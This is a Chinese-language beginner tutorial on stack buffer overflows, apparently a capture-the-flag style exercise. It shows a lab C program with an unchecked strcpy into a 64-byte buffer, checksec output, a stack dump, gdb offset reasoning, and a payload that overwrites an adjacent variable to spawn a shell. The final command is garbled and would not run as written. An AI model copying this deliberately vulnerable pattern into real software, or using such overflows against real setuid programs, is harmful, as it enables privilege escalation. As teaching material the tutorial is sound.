栈溢出入门系列入门教程一
overflow1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"
void vuln(int tmp, char *str) {
int win = tmp;
char buf[64];
strcpy(buf, str);
dump_stack((void **) buf, 23, (void **) &tmp);
printf("win = %d\n", win);
if (win == 1) {
execl("/bin/sh", "sh", NULL);
} else {
printf("Sorry, you lose.\n");
}
exit(0);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: stack_overwrite [str]\n");
return 1;
}
uid_t euid = geteuid();
setresuid(euid, euid, euid);
vuln(0, argv[1]);
return 0;
}
- 将文件下载下来,gdb调试,checksec.
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
可以看出这个程序比较脆弱,几乎什么保护都没有.
2.思路:通过输入过多的数据溢出,是win=1,测试.
$ ./overflow1-3948d17028101c40 $(python -c 'print "A"*64 + "B"')
Stack dump:
0xffa81994: 0xffa82845 (second argument)
0xffa81990: 0x00000000 (first argument)
0xffa8198c: 0x0804870f (saved eip)
0xffa81988: 0xffa819b8 (saved ebp)
0xffa81984: 0xf779c000
0xffa81980: 0xf76a8a00
0xffa8197c: 0x00000042
0xffa81978: 0x41414141
0xffa81974: 0x41414141
0xffa81970: 0x41414141
0xffa8196c: 0x41414141
0xffa81968: 0x41414141
0xffa81964: 0x41414141
0xffa81960: 0x41414141
0xffa8195c: 0x41414141
0xffa81958: 0x41414141
0xffa81954: 0x41414141
0xffa81950: 0x41414141
0xffa8194c: 0x41414141
0xffa81948: 0x41414141
0xffa81944: 0x41414141
0xffa81940: 0x41414141
0xffa8193c: 0x41414141 (beginning of buffer)
win = 66
Sorry, you lose.
B的ascii是66,可见我们输入多余的字符B覆盖了win变量.
下面用调试来证明,上gdb.
可以看出win的地址是ebp-0xc,相关图:
ebp-0xc=0xffffce68-0xc=0xffffce5c;
0xffffce1c是字符的开始地址
两个地址相差0x40=64,也就是说字符数组与变量紧挨着,变量就在字符数组的上边(从低往高)
于是,我们输入’A’*64+’\x01\x00\x00\x00’,就可以.
构造如下:
./overflow1 $(python -c “print -c ‘A’*64+’\x01\x00\x00\x00’”)
结果如下:
成功获取shell,附带相关文件地址:文件地址
注:最好从文件地址下载文件来测试.因为linux gcc自动开启DEX,NX,CARRY等保护措施,这些都可能导致测试失败.由于操作系统的原因,导致的参数的地址可能不一样.这点要特别的注意.